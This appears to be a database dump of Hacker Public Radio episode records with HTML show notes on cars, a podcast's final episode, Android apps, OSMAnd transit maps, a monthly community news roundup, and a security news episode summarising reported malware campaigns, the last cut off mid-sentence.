(3711,'2022-10-24','Cars',2042,'A short review of Cars today','<h2 id=\"car-company\">Car company</h2>\n<ul>\n<li><p>A:<br />\n<a href=\"https://www.ford.com/\"\nclass=\"uri\">https://www.ford.com/</a></p></li>\n<li><p>B:<br />\n<a href=\"https://www.chevrolet.com/\"\nclass=\"uri\">https://www.chevrolet.com/</a></p></li>\n<li><p>C:<br />\n<a href=\"https://www.dodge.com/\"\nclass=\"uri\">https://www.dodge.com/</a></p></li>\n<li><p>D:<br />\n<a href=\"https://www.chrysler.com/#\"\nclass=\"uri\">https://www.chrysler.com/#</a></p></li>\n<li><p>E:<br />\n<a href=\"https://www.buick.com/\"\nclass=\"uri\">https://www.buick.com/</a></p></li>\n<li><p>F:<br />\n<a href=\"https://www.cadillac.com/\"\nclass=\"uri\">https://www.cadillac.com/</a></p></li>\n<li><p>G:<br />\n<a href=\"https://www.lincoln.com/\"\nclass=\"uri\">https://www.lincoln.com/</a></p></li>\n<li><p>H:<br />\n<a href=\"https://www.toyota.com/\"\nclass=\"uri\">https://www.toyota.com/</a></p></li>\n<li><p>I:<br />\n<a href=\"https://www.nissanusa.com/\"\nclass=\"uri\">https://www.nissanusa.com/</a></p></li>\n<li><p>J:<br />\n<a href=\"https://automobiles.honda.com/\"\nclass=\"uri\">https://automobiles.honda.com/</a></p></li>\n<li><p>K:<br />\n<a\nhref=\"https://www.nytimes.com/2003/08/31/us/cries-of-activism-and-terrorism-in-suv-torching.html\"\nclass=\"uri\">https://www.nytimes.com/2003/08/31/us/cries-of-activism-and-terrorism-in-suv-torching.html</a></p></li>\n<li><p>L:<br />\n<a\nhref=\"https://www.autoweek.com/news/technology/a36189339/solid-state-batteries/\"\nclass=\"uri\">https://www.autoweek.com/news/technology/a36189339/solid-state-batteries/</a>\n<a\nhref=\"https://www.washingtonpost.com/technology/2022/05/18/solid-state-batteries-electric-vehicles-race/\"\nclass=\"uri\">https://www.washingtonpost.com/technology/2022/05/18/solid-state-batteries-electric-vehicles-race/</a></p></li>\n</ul>\n',377,0,0,'CC-BY-SA','Cars, EV\'s, Terrorists, Hydrogen, Fusion, Power Systems',0,0,1),
(3712,'2022-10-25','The last ever CCHits.net Show',5756,'The team talk about the nearly 12 years of producing CCHits.net.','<p>Over 12 years ago, <a href=\"https://jon.sprig.gs\">Jon \"The Nice Guy\"\nSpriggs</a> went to a \"Pod Crawl\" with (among others) <a\nhref=\"https://thelovebug.org/\">Dave \"The Love Bug\" Lee</a>, where he\npitched the idea of a daily music promotion show, with a twist - it\nwould all be automated, and use text-to-speech to introduce\neverything.</p>\n<p>The <a href=\"https://cchits.net/show/1\">first show</a> was released\non 2010-10-24 and the last ever show (this one) was released on\n2022-10-12.</p>\n<p>Over the twelve years, Jon would go on to meet to meet <a\nhref=\"https://twitter.com/frenchguych\">Yannick</a> and Ken Fallon, both\nof whom would go on to shape changes (big and small) to CCHits.</p>\n<p>This year, the cracks started to re-appear in the architecture\nunderneath CCHits - between APIs shutting down that were used to load\ntracks to CCHits, and the general framework being used to write CCHits\nnot receiving the care and attention it needed... and the team finally\ndecided to stop adding new tracks, and let the process build the last\nfew shows.</p>\n<p>This podcast gives you a peek behind the curtain to the team involved\nin the system, and gives you some of the high- and low-lights in the 12\nyears the site ran for.</p>\n',413,0,0,'CC-BY','music,creative commons,podcast',0,0,1),
(3724,'2022-11-10','My top Android apps',579,'I walk through the top apps on my phone','<h3 id=\"my-most-used-apps\">My most used apps</h3>\n<h3 id=\"aio-launcher\">AIO Launcher</h3>\n<ul>\n<!-- <li><a href=\"%5B%5D(https://aiolauncher.app%20%22AIO%20Launcher%22)\">AIO Launcher</a></li> -->\n<li><a href=\"https://aiolauncher.app\" title=\"AIO Launcher\">AIO Launcher</a></li>\n</ul>\n<p><img src=\"https://hackerpublicradio.org/eps/hpr3724/main_sm.png\"\ntitle=\"Main screen\" alt=\"Main screen\" /></p>\n<p><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3724/quick_launch_sm.png\"\ntitle=\"Quick Launch screen\" alt=\"Quick Launch screen\" /></p>\n<p><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3724/side_panel_sm.png\"\ntitle=\"Side panel screen\" alt=\"Side panel screen\" /></p>\n<h4 id=\"termux-terminal-emulator-with-packages\">Termux: Terminal\nemulator with packages</h4>\n<ul>\n<li><p><a href=\"https://f-droid.org/en/packages/com.termux\"\ntitle=\"Termux: Terminal emulator with packages\">Termux: Terminal\nemulator with packages</a></p></li>\n<li><p>Connect to the home network</p>\n<ul>\n<li>Start a video encoding, or rip a DVD</li>\n</ul></li>\n<li><p>Vim editor</p></li>\n<li><p>Secure files</p>\n<ul>\n<li>pwgen -y 30 3: Generate three 30 character passwords with\nsymbols</li>\n<li>Other confidential info\n<ul>\n<li>hpr3484 :: My vim setup with GnuPG\n<ul>\n<li><a href=\"https://www.hackerpublicradio.org/eps.php?id=3484\"\ntitle=\"My vim setup with GnuPG\">My vim setup with GnuPG</a></li>\n</ul></li>\n</ul></li>\n</ul></li>\n</ul>\n<h4 id=\"qksms-messaging\">QKSMS Messaging</h4>\n<ul>\n<li><p><a href=\"https://f-droid.org/en/packages/com.moez.QKSMS\"\ntitle=\"QKSMS Messaging: F-droid\">QKSMS Messaging: F-droid</a></p></li>\n<li><p><a href=\"https://github.com/moezbhatti/qksms\"\ntitle=\"QKSMS Messaging: Github\">QKSMS Messaging: Github</a></p></li>\n</ul>\n<h4 id=\"firefox-browser\">Firefox browser</h4>\n<ul>\n<li><a\nhref=\"https://play.google.com/store/apps/details?id=org.mozilla.firefox\"\ntitle=\"Firefox browser\">Firefox browser</a></li>\n</ul>\n<h4 id=\"opera-browser\">Opera browser</h4>\n<ul>\n<li><a\nhref=\"https://play.google.com/store/apps/details?id=com.opera.browser\"\ntitle=\"Opera browser\">Opera browser</a></li>\n</ul>\n<h4 id=\"brave-browser\">Brave browser</h4>\n<ul>\n<li><a\nhref=\"https://play.google.com/store/apps/details?id=com.brave.browser\"\ntitle=\"Brave browser\">Brave browser</a></li>\n</ul>\n<h4 id=\"clear-scanner-pdf-scanner-and-ocr\">Clear Scanner PDF scanner and\nOCR</h4>\n<ul>\n<li><p><a href=\"https://indymobileapp.com\"\ntitle=\"Clear Scanner PDF scanner and OCR\">Clear Scanner PDF scanner and\nOCR</a></p>\n<ul>\n<li>OCR: Optical character recognition</li>\n<li>Multiple folders</li>\n<li>Donation option</li>\n</ul></li>\n</ul>\n<h4 id=\"antennapod\">Antennapod</h4>\n<ul>\n<li><a href=\"https://f-droid.org/en/packages/de.danoeh.antennapod\"\ntitle=\"Antennapod\">Antennapod</a></li>\n</ul>\n<h4 id=\"tusky\">Tusky</h4>\n<ul>\n<li><a href=\"https://f-droid.org/en/packages/com.keylesspalace.tusky\"\ntitle=\"Tusky for Mastodon\">Tusky for Mastodon</a></li>\n</ul>\n<h4 id=\"k-9-mail-client\">K-9 mail client</h4>\n<ul>\n<li><a href=\"https://f-droid.org/en/packages/com.fsck.k9/\"\ntitle=\"K-9 mail client\">K-9 mail client</a></li>\n</ul>\n<h4 id=\"viber\">Viber</h4>\n<ul>\n<li><p><a href=\"https://www.viber.com/en/download\"\ntitle=\"Viber\">Viber</a></p>\n<ul>\n<li>Android and Fedora/Ubuntu desktop app</li>\n<li>App image</li>\n</ul></li>\n</ul>\n<h4 id=\"audio-recorder\">Audio recorder</h4>\n<ul>\n<li><p><a\nhref=\"https://f-droid.org/en/packages/com.github.axet.audiorecorder\"\ntitle=\"Audio recorder: F-droid\">Audio recorder: F-droid</a></p></li>\n<li><p><a href=\"https://gitlab.com/axet/android-audio-recorder\"\ntitle=\"Audio recorder: F-droid\">Audio recorder: Gitlab</a></p></li>\n</ul>\n<h4 id=\"x-plore-dual-pane-file-manager\">X-plore dual-pane file\nmanager</h4>\n<ul>\n<li><a\nhref=\"https://play.google.com/store/apps/details?id=com.lonelycatgames.Xplore&amp;gl=US\"\ntitle=\"X-plore dual-pane file manager\">X-plore dual-pane file\nmanager</a></li>\n</ul>\n<h4 id=\"librera-e-book-reader-for-pdf-epub\">Librera E-book Reader: for\nPDF, EPUB</h4>\n<ul>\n<li><p><a\nhref=\"https://play.google.com/store/apps/details?id=com.foobnix.pdf.reader&amp;gl=US\"\ntitle=\"Librera E-book Reader\">Librera E-book Reader</a></p>\n<ul>\n<li><strong>Books</strong>\n<ul>\n<li><p>Star Wars: Dark Tide I: Onslaught</p>\n<p><em>The New Jedi Order #2</em></p>\n<ul>\n<li><a\nhref=\"https://openlibrary.org/books/OL9433767M/Star_Wars_Dark_Tide_I_Onslaught\"\ntitle=\"Star Wars Dark Tide I: Onslaught e-book\">Star Wars Dark Tide I:\nOnslaught</a></li>\n</ul></li>\n<li><p>Boba Fett: A Practical Man</p>\n<ul>\n<li><a\nhref=\"https://starwars.fandom.com/wiki/Boba_Fett:_A_Practical_Man\"\ntitle=\"Boba Fett: A Practical Man\">Boba Fett: A Practical Man</a></li>\n</ul></li>\n</ul></li>\n</ul></li>\n</ul>\n<h4 id=\"multi-timer\">Multi Timer</h4>\n<ul>\n<li><a\nhref=\"https://play.google.com/store/apps/details?id=org.catfantom.multitimer\"\ntitle=\"Multi Timer\">Multi Timer</a></li>\n</ul>\n<p>US Amateur Radio Band Plan</p>\n<ul>\n<li><p><a\nhref=\"https://play.google.com/store/apps/details?id=com.kimbrelk.ham&amp;gl=US\"\ntitle=\"US Amateur Radio Band Plan\">US Amateur Radio Band Plan</a></p>\n<ul>\n<li>Quick reference of band and privilege restrictions</li>\n</ul></li>\n</ul>\n',318,0,0,'CC-BY-SA','Android, Android apps, Mobile phone, Custom launcher',0,0,1),
(3725,'2022-11-11','How to use OSMAnd with Public Transport ',124,'Ken shows you how to use this mapping tool to display transit routes in your area.','<p>\r\n<a href=\"/eps/hpr3725/01.jpeg\"><img src=\"/eps/hpr3725/01.jpeg\" alt=\"\" /></a><br />\r\nMap of Dublin showing the Temple Bar tourist area. A red arrow points to where you can change the profile.\r\n</p>\r\n<p>\r\n<a href=\"/eps/hpr3725/02.jpeg\"><img src=\"/eps/hpr3725/02.jpeg\" alt=\"\" /></a><br />\r\nWith the Configure Map > Profile selection menu open, a red square surrounds the Bus icon to indicate the \"public transport\" profile is now selected.\r\n</p>\r\n<p>\r\n<a href=\"/eps/hpr3725/03.jpeg\"><img src=\"/eps/hpr3725/03.jpeg\" alt=\"\" /></a><br />\r\nThe map now opens to show more information about public transport is now displayed on the map. This is highlighted with a red square.<br />\r\nClicking the bustop (highlighted with a red circle ) will show more information about the routes available at this location.\r\n</p>\r\n<p>\r\n<a href=\"/eps/hpr3725/04.jpeg\"><img src=\"/eps/hpr3725/04.jpeg\" alt=\"\" /></a><br />\r\nOnce the transport stop is selected, a list of all the routes that service this location are displayed. Along with other routes that are available within a short distance.\r\n</p>\r\n<p>\r\n<a href=\"/eps/hpr3725/05.jpeg\"><img src=\"/eps/hpr3725/05.jpeg\" alt=\"\" /></a><br />\r\nClicking any of the routes numbers/names will give a zoomed out map showing in red the route many of the stops towards it\'s source and destination.\r\n</p>\r\n',30,0,0,'CC-BY-SA','OSMAnd, OSM, Maps, Public Transport',0,0,1),
(4001,'2023-12-04','HPR Community News for November 2023',0,'HPR Volunteers talk about shows released and comments posted in November 2023','<style>\ntable td.shrink {\n white-space:nowrap\n}\nhr.thin {\n border: 0;\n height: 0;\n border-top: 1px solid rgba(0, 0, 0, 0.1);\n border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\np#ignore, li#ignore {\n background-color: lightgreen;\n color:maroon;\n}\ndiv#highlight {\n border-style: solid;\n border-color: red;\n padding-right: 20px;\n padding-left: 20px;\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3978/index.html\" target=\"_blank\">3978</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-11-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3978/index.html\" target=\"_blank\">Driving in Virginia.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3979/index.html\" target=\"_blank\">3979</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-11-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3979/index.html\" target=\"_blank\">FireStick and ad blocking</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3980/index.html\" target=\"_blank\">3980</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-11-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3980/index.html\" target=\"_blank\">Huntsville to Vicksburg</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3981/index.html\" target=\"_blank\">3981</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-11-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3981/index.html\" target=\"_blank\">HPR Community News for October 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3982/index.html\" target=\"_blank\">3982</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-11-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3982/index.html\" target=\"_blank\">Conversation with ChatGPT</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3983/index.html\" target=\"_blank\">3983</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-11-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3983/index.html\" target=\"_blank\">ChatGPT Output is not compatible with CC-BY-SA</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3984/index.html\" target=\"_blank\">3984</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-11-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3984/index.html\" target=\"_blank\">Whoppers. How Archer72 and I made moonshine. Volume one.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3985/index.html\" target=\"_blank\">3985</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-11-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3985/index.html\" target=\"_blank\">Bash snippet - be careful when feeding data to loops</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3986/index.html\" target=\"_blank\">3986</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-11-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3986/index.html\" target=\"_blank\">Optical media is not dead</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3987/index.html\" target=\"_blank\">3987</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-11-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3987/index.html\" target=\"_blank\">The Grim Dawn</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3988/index.html\" target=\"_blank\">3988</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-11-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3988/index.html\" target=\"_blank\">Beeper.com</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3989/index.html\" target=\"_blank\">3989</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-11-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3989/index.html\" target=\"_blank\">LastPass Security Update 1 November 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3990/index.html\" target=\"_blank\">3990</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-11-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3990/index.html\" target=\"_blank\">Playing Alpha Centauri, Part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3991/index.html\" target=\"_blank\">3991</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-11-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3991/index.html\" target=\"_blank\">YOU ARE A PIRATE </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3992/index.html\" target=\"_blank\">3992</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-11-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3992/index.html\" target=\"_blank\">Test recording on a wireless mic</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3993/index.html\" target=\"_blank\">3993</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-11-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3993/index.html\" target=\"_blank\">z80 membership card</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0326.html\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3994/index.html\" target=\"_blank\">3994</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-11-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3994/index.html\" target=\"_blank\">Lastpass Response</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3995/index.html\" target=\"_blank\">3995</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-11-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3995/index.html\" target=\"_blank\">Creating Your Own Internet Radio Streaming Device</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0152.html\" target=\"_blank\">Claudio Miranda</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3996/index.html\" target=\"_blank\">3996</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-11-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3996/index.html\" target=\"_blank\">Holiday Challenges Series - Ep 1 - Advent of Code</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0394.html\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3997/index.html\" target=\"_blank\">3997</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-11-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3997/index.html\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3998/index.html\" target=\"_blank\">3998</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-11-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3998/index.html\" target=\"_blank\">Using open source OCR to digitize my mom\'s book</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0194.html\" target=\"_blank\">Deltaray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3999/index.html\" target=\"_blank\">3999</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-11-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3999/index.html\" target=\"_blank\">Holiday Challenges Series Ep 02 TryHackMe Advent of Cyber Challenge</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0394.html\" target=\"_blank\">Trey</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 8 comments in total.</p>\n\n<h3>This month\'s shows</h3>\n<p>There are 8 comments on 7 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3978/index.html#comments\" target=\"_blank\">hpr3978</a></strong>\n(2023-11-01) \"<em>Driving in Virginia.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3978/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-11-05:\n\"Good show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3981/index.html#comments\" target=\"_blank\">hpr3981</a></strong>\n(2023-11-06) \"<em>HPR Community News for October 2023</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3981/index.html#1\" target=\"_blank\">Comment 1</a>:\nHobson Lane (hobs) on 2023-11-06:\n\"Ken\'s comment about demand avoidance\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3984/index.html#comments\" target=\"_blank\">hpr3984</a></strong>\n(2023-11-09) \"<em>Whoppers. How Archer72 and I made moonshine. Volume one.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3984/index.html#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-11-09:\n\"Really? You are sharing this with the world?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3989/index.html#comments\" target=\"_blank\">hpr3989</a></strong>\n(2023-11-16) \"<em>LastPass Security Update 1 November 2023</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3989/index.html#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-11-17:\n\"Changing passowrds\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3991/index.html#comments\" target=\"_blank\">hpr3991</a></strong>\n(2023-11-20) \"<em>YOU ARE A PIRATE </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3991/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-11-25:\n\"Loved the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3993/index.html#comments\" target=\"_blank\">hpr3993</a></strong>\n(2023-11-22) \"<em>z80 membership card</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0326.html\" target=\"_blank\">Brian in Ohio</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3993/index.html#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-11-22:\n\"What fun!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3995/index.html#comments\" target=\"_blank\">hpr3995</a></strong>\n(2023-11-24) \"<em>Creating Your Own Internet Radio Streaming Device</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0152.html\" target=\"_blank\">Claudio Miranda</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3995/index.html#1\" target=\"_blank\">Comment 1</a>:\nbittin on 2023-11-24:\n\"another tip\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3995/index.html#2\" target=\"_blank\">Comment 2</a>:\nTrey on 2023-11-24:\n\"Live radio secure streaming?\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://lists.hackerpublicradio.com/pipermail/hpr/2023-November/thread.html\" target=\"_blank\">https://lists.hackerpublicradio.com/pipermail/hpr/2023-November/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"static-site\">Static Site</h3>\n<ul>\n<li>Yet a further modification to the algorithm for computing the days\nto the next free slot!</li>\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3714,'2022-10-27','The News with Some Guy On the Internet',609,'Threat Analysis','<h1 id=\"threat-analysis-your-attack-surface\">Threat Analysis; your\nattack surface.</h1>\n<h2 id=\"the-hacker-news\">The Hacker News</h2>\n<h3\nid=\"new-chinese-malware-attack-framework-targets-windows-macos-and-linux-systems\">New\nChinese Malware Attack Framework Targets Windows, macOS, and Linux\nSystems.</h3>\n<p>A previously undocumented command-and-control (C2) framework dubbed\nAlchimist is likely being used in the wild to target Windows, macOS, and\nLinux systems.</p>\n<p>\"Alchimist C2 has a web interface written in Simplified Chinese and\ncan generate a configured payload, establish remote sessions, deploy\npayloads to the remote machines, capture screenshots, perform remote\nshellcode execution, and run arbitrary commands,\" Cisco Talos said in a\nreport shared with The Hacker News. Written in GoLang, Alchimist is\ncomplemented by a beacon implant called Insekt, which comes with remote\naccess features that can be instrumented by the C2 server.&#x201D;</p>\n<p>\"Since Alchimist is a single-file based ready-to-go C2 framework, it\nis difficult to attribute its use to a single actor such as the authors,\nAPTs, or crimeware syndicates.\"</p>\n<p>The trojan, for its part, is equipped with features typically present\nin backdoors of this kind, enabling the malware to get system\ninformation, capture screenshots, run arbitrary commands, and download\nremote files, among others.</p>\n<p>Alchimist C2 panel further features the ability to generate first\nstage payloads, including PowerShell and wget code snippets for Windows\nand Linux, potentially allowing an attacker to flesh out their infection\nchains to distribute the Insekt RAT binary. The instructions could then\nbe potentially embedded in a maldoc attached to a phishing email that,\nwhen opened, downloads and launches the backdoor on the compromised\nmachine. What\'s more, the Linux version of Insekt is capable of listing\nthe contents of the \".ssh\" directory and even adding new SSH keys to the\n\"~/.ssh/authorized_keys\" file to facilitate remote access over SSH.</p>\n<h2 id=\"the-hacker-news-1\">The Hacker News</h2>\n<h3\nid=\"hackers-using-vishing-to-trick-victims-into-installing-android-banking-malware\">Hackers\nUsing Vishing to Trick Victims into Installing Android Banking\nMalware.</h3>\n<p>Malicious actors are resorting to voice phishing (vishing) tactics to\ndupe victims into installing Android malware on their devices.</p>\n<p>The Dutch mobile security company said it identified a network of\nphishing websites targeting Italian online-banking users that are\ndesigned to get hold of their contact details.</p>\n<p>Telephone-oriented attack delivery (TOAD), as the social engineering\ntechnique is called, involves calling the victims using previously\ncollected information from the fraudulent websites.</p>\n<p>The caller, who purports to be a support agent for the bank,\ninstructs the individual on the other end of the call to install a\nsecurity app and grant it extensive permissions, when, in reality, it\'s\nmalicious software intended to gain remote access or conduct financial\nfraud.</p>\n<p>What\'s more, the infrastructure utilized by the threat actor has been\nfound to deliver a second malware named SMS Spy that enables the\nadversary to gain access to all 